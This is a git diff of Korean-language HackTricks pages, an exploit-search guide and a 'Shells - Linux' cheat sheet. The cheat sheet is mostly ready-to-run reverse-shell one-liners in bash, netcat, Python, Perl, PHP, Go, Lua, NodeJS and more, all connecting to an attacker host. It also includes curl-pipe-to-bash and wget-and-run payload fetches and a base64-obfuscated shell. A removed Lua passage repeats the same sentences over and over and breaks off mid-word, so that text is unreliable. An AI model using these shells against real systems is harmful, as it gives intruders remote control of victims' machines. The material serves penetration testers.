* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 **액세스**하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### 브라우저 ### Browser
언제나 "google" 또는 다른 곳에서 **\<service\_name> \[version] exploit**을 검색하세요. 항상 "google" 또는 다른 곳에서 검색하세요: **\<service\_name> \[version] exploit**
또한 [https://exploits.shodan.io/](https://exploits.shodan.io)의 **shodan exploit 검색**을 시도해보세요. 또한 [https://exploits.shodan.io/](https://exploits.shodan.io)에서 **shodan** **exploit search**를 시도해 보세요.
### Searchsploit ### Searchsploit
**콘솔에서 exploitdb의 서비스에 대한 exploits를 검색**하는 데 유용합니다. 콘솔에서 **exploitdb**의 서비스에 대한 exploit을 검색하는 데 유용합니다.
```bash ```bash
#Searchsploit tricks #Searchsploit tricks
searchsploit "linux Kernel" #Example searchsploit "linux Kernel" #Example
@ -42,7 +43,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
``` ```
### Pompem ### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) 는 취약점을 검색하기 위한 또 다른 도구입니다. [https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem)은 익스플로잇을 검색하기 위한 또 다른 도구입니다.
### MSF-Search ### MSF-Search
```bash ```bash
@ -50,7 +51,7 @@ msf> search platform:windows port:135 target:XP type:exploit
``` ```
### PacketStorm ### PacketStorm
만약 아무 것도 찾지 못했다면, [https://packetstormsecurity.com/](https://packetstormsecurity.com)에서 사용된 기술을 검색해보세요. 아무것도 발견되지 않으면 [https://packetstormsecurity.com/](https://packetstormsecurity.com)에서 사용된 기술을 검색해 보세요.
### Vulners ### Vulners
@ -58,26 +59,27 @@ vulners 데이터베이스에서도 검색할 수 있습니다: [https://vulners
### Sploitus ### Sploitus
이것은 다른 데이터베이스에서 exploits를 검색합니다: [https://sploitus.com/](https://sploitus.com) 이것은 다른 데이터베이스에서 익스플로잇을 검색합니다: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,35 +1,35 @@
# Shells - Linux # Shells - Linux
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
**이러한 쉘에 대한 질문이 있다면** [**https://explainshell.com/**](https://explainshell.com) **에서 확인할 수 있습니다.** **이 쉘에 대한 질문이 있으면** [**https://explainshell.com/**](https://explainshell.com) **에서 확인할 수 있습니다.**
## Full TTY ## Full TTY
**리버스 쉘을 획득한 후**[ **이 페이지를 읽어 전체 TTY를 얻으세요**](full-ttys.md)**.** **리버스 쉘을 얻으면**[ **전체 TTY를 얻으려면 이 페이지를 읽으세요**](full-ttys.md)**.**
## Bash | sh ## Bash | sh
```bash ```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1 bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
@ -42,11 +42,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute #after getting the previous shell to get the output to execute
exec >&0 exec >&0
``` ```
다른 셸(sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash)도 확인하는 것을 잊지 마세요.
### 심볼 안전 쉘 ### 기호 안전 셸
다른 쉘도 확인하는 것을 잊지 마세요: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, 그리고 bash.
```bash ```bash
#If you need a more stable connection do: #If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1' bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -55,32 +53,26 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
``` ```
#### Shell 설명
#### 쉘 설명 1. **`bash -i`**: 이 명령의 일부는 대화형(`-i`) Bash 셸을 시작합니다.
2. **`>&`**: 이 명령의 일부는 **표준 출력**(`stdout`)과 **표준 오류**(`stderr`)를 **같은 목적지**로 리디렉션하는 약식 표기법입니다.
1. **`bash -i`**: 이 명령어 부분은 대화형(`-i`) Bash 쉘을 시작합니다. 3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 이것은 **지정된 IP 주소와 포트에 대한 TCP 연결을 나타내는 특수 파일**입니다.
2. **`>&`**: 이 명령어 부분은 **표준 출력(`stdout`)과 표준 에러(`stderr`)를 동일한 대상으로 리다이렉팅**하는 약식 표기법입니다. * **출력 및 오류 스트림을 이 파일로 리디렉션함으로써**, 명령은 대화형 셸 세션의 출력을 공격자의 머신으로 효과적으로 전송합니다.
3. **`/dev/tcp/<공격자-IP>/<포트>`**: 이는 지정된 IP 주소와 포트로의 TCP 연결을 나타내는 특수 파일입니다. 4. **`0>&1`**: 이 명령의 일부는 **표준 입력(`stdin`)을 표준 출력(`stdout`)과 같은 목적지로 리디렉션합니다**.
* **출력 및 에러 스트림을 이 파일로 리다이렉팅**함으로써, 해당 명령어는 대화형 쉘 세션의 출력을 공격자의 기기로 전송합니다.
4. **`0>&1`**: 이 명령어 부분은 **표준 입력(`stdin`)을 표준 출력(`stdout`)과 동일한 대상으로 리다이렉팅**합니다.
### 파일 생성 및 실행 ### 파일 생성 및 실행
```bash ```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
``` ```
## Forward Shell
## 포워드 쉘 Linux 기반 웹 애플리케이션 내에서 **Remote Code Execution (RCE)** 취약점을 다룰 때, 리버스 셸을 얻는 것이 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해받을 수 있습니다. 이러한 제한된 환경에서는 손상된 시스템과 보다 효과적으로 상호작용하기 위해 PTY (Pseudo Terminal) 셸을 설정하는 대안적 접근 방식이 있습니다.
리눅스 기반 웹 애플리케이션 내 **원격 코드 실행 (RCE)** 취약점을 다룰 때, 역술을 통한 쉘 획득은 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해를 받을 수 있습니다. 이러한 제약된 환경에서는 대안적인 접근 방식으로 PTY (의사 터미널) 쉘을 설정하여 침해된 시스템과 보다 효과적으로 상호 작용할 수 있습니다. 이 목적을 위해 추천되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)으로, 대상 환경과의 상호작용을 단순화합니다.
이러한 목적으로 권장되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)이며, 이 도구를 사용하면 대상 환경과의 상호 작용을 간편하게 할 수 있습니다.
toboggan을 효과적으로 활용하기 위해 대상 시스템의 RCE 컨텍스트에 맞는 Python 모듈을 생성합니다. 예를 들어, `nix.py`라는 모듈은 다음과 같이 구성될 수 있습니다:
toboggan을 효과적으로 사용하려면, 대상 시스템의 RCE 맥락에 맞춘 Python 모듈을 생성하십시오. 예를 들어, `nix.py`라는 모듈은 다음과 같이 구성될 수 있습니다:
```python3 ```python3
import jwt import jwt
import httpx import httpx
@ -104,27 +96,23 @@ response.raise_for_status()
return response.text return response.text
``` ```
그리고 나서, 다음을 실행할 수 있습니다:
그런 다음, 다음을 실행할 수 있습니다:
```shell ```shell
toboggan -m nix.py -i toboggan -m nix.py -i
``` ```
대화형 셸을 직접 활용하려면 `-b`를 추가하여 Burpsuite 통합을 하고, 더 기본적인 rce 래퍼를 위해 `-i`를 제거할 수 있습니다.
직접적으로 상호작용하는 쉘을 활용하려면, Burpsuite 통합을 위해 `-b`를 추가하고 더 기본적인 rce 래퍼를 위해 `-i`를 제거할 수 있습니다. 또 다른 가능성은 `IppSec` 포워드 셸 구현을 사용하는 것입니다 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
또 다른 가능성은 `IppSec` 포워드 쉘 구현을 사용하는 것입니다 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). 다음 사항을 수정하기만 하면 됩니다:
다음을 수정하면 됩니다:
* 취약한 호스트의 URL * 취약한 호스트의 URL
* 페이로드의 접두사와 접미사 (있는 경우) * 페이로드의 접두사 및 접미사(있는 경우)
* 페이로드가 전송되는 방식(헤더? 데이터? 추가 정보?) * 페이로드가 전송되는 방식(헤더? 데이터? 추가 정보?)
그런 다음, **명령을 보내거나** 심지어 **`upgrade` 명령을 사용하여 완전한 PTY를 얻을 수 있습니다** (파이프는 약 1.3초의 지연으로 읽고 쓰입니다). 그런 다음 **명령을 전송**하거나 **`upgrade` 명령을 사용**하여 전체 PTY를 얻을 수 있습니다(파이프는 약 1.3초 지연으로 읽고 씁니다).
## Netcat ## Netcat
```bash ```bash
nc -e /bin/sh <ATTACKER-IP> <PORT> nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
@ -132,42 +120,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2> nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
``` ```
## gsocket ## gsocket
[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)에서 확인하세요. [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)에서 확인하세요.
```bash ```bash
bash -c "$(curl -fsSL gsocket.io/x)" bash -c "$(curl -fsSL gsocket.io/x)"
``` ```
## 텔넷 ## 텔넷
```bash ```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT> telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
``` ```
## Whois ## Whois
**공격자** **공격자**
```bash ```bash
while true; do nc -l <port>; done while true; do nc -l <port>; done
``` ```
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 눌러 STDIN을 중지합니다.
**피해자** **희생자**
명령을 보내려면 적어두고 Enter를 누르고 CTRL+D를 누르세요 (STDIN을 중지하려면)
```bash ```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
``` ```
## 파이썬 ## 파이썬
```bash ```bash
#Linux #Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -175,27 +153,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
#IPv6 #IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
``` ```
## 펄
## Perl
펄(Pearl)은 유연하고 강력한 스크립팅 언어로, 리눅스 시스템에서 자주 사용됩니다. 펄을 사용하면 효율적으로 작업을 자동화하고 시스템을 관리할 수 있습니다.
```bash ```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
``` ```
## 루비 ## 루비
```bash ```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
``` ```
## PHP ## PHP
PHP는 웹 개발에 널리 사용되는 스크립트 언어입니다. PHP 셸을 사용하여 명령을 실행하고 시스템 명령을 실행할 수 있습니다. 일반적으로 웹 셸을 사용하여 PHP 코드를 실행하고 시스템 명령을 실행할 수 있습니다.
```php ```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes. // Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -207,43 +175,29 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?> <?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
``` ```
## 자바 ## 자바
```bash ```bash
r = Runtime.getRuntime() r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor() p.waitFor()
``` ```
## Ncat ## Ncat
```bash ```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl
``` ```
## Golang ## Golang
## 고랭 (Golang)
```bash ```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
``` ```
## 루아
## Lua
Lua는 빠르고 가벼운 스크립팅 언어이며, C로 작성되었습니다. Lua는 임베디드 시스템 및 게임 개발에서 널리 사용됩니다. Lua는 사용하기 쉽고 확장 가능하며, 다양한 플랫폼에서 실행될 수 있습니다. Lua는 강력한 표현력을 제공하며, 다른 언어와의 통합이 용이합니다. Lua는 스크립트 언어로 사용되지만, 프로토타입 기반 객체 지향 프로그래밍도 지원합니다. Lua는 C API를 통해 C 코드와 상호 작용할 수 있습니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한
```bash ```bash
#Linux #Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux #Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
``` ```
## NodeJS ## NodeJS
```javascript ```javascript
(function(){ (function(){
var net = require("net"), var net = require("net"),
@ -286,19 +240,15 @@ or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
``` ```
## OpenSSL ## OpenSSL
공격자 (Kali) 공격자 (Kali)
```bash ```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
``` ```
피해자 피해자
```bash ```bash
#Linux #Linux
